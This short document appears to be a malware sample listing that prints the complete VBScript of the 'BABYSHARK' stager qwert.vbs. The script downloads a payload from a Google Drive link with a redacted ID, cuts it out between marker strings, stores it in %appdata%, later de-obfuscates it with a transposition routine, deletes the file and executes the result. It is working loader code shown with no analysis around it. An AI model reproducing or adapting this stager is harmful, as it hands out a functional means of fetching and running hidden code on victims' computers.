BABYSHARK malware stager qwert.vbs

qwert.vbs

On Error Resume Next
Set a=CreateObject("WScript.Shell")
Set g = CreateObject("Scripting.FileSystemObject")
h = a.ExpandEnvironmentStrings("%appdata%")
i=h+"\normal.crp"
s=""
If g.FileExists(i) <> 0 Then
	Set j = g.OpenTextFile(i, 1, True)
	c =  j.ReadAll
	j.Close
	d=7
	L=Len(c):For jx=0 To d-1:For ix=0 To Int(L/d)-1:s=s&Mid(c,ix*d+jx+1,1):Next:Next:s=s&Right(c,L-Int(L/d)*d)
	g.DeleteFile i
	execute(s)
Else
	Set q = CreateObject("msxml2.xmlhttp")
	q.open "GET","https://drive.google.com/file/d/REDACTED/view?usp=sharing",false
	q.setRequestHeader "Content-Txpe","application/x-www-form-urlencoded"
	q.Send
	f=q.responseText
	z="johnbegin--"
	x="--johnend"
	w=Instr(f,z)
	u=Instr(f,x)
	If w<>0 And u<>0 Then
	f=Mid(f,w+Len(z),u-w-Len(z))

	f=Replace(f,"&amp;","&")
	f=Replace(f,"&#39;","'")
	f=Replace(f,"&quot;","""")
	f=Replace(f,"&lt;","<")
	f=Replace(f,"&gt;",">")
	End If
	Set j= g.CreateTextFile(i, True)
	j.Write f
	j.Close
End If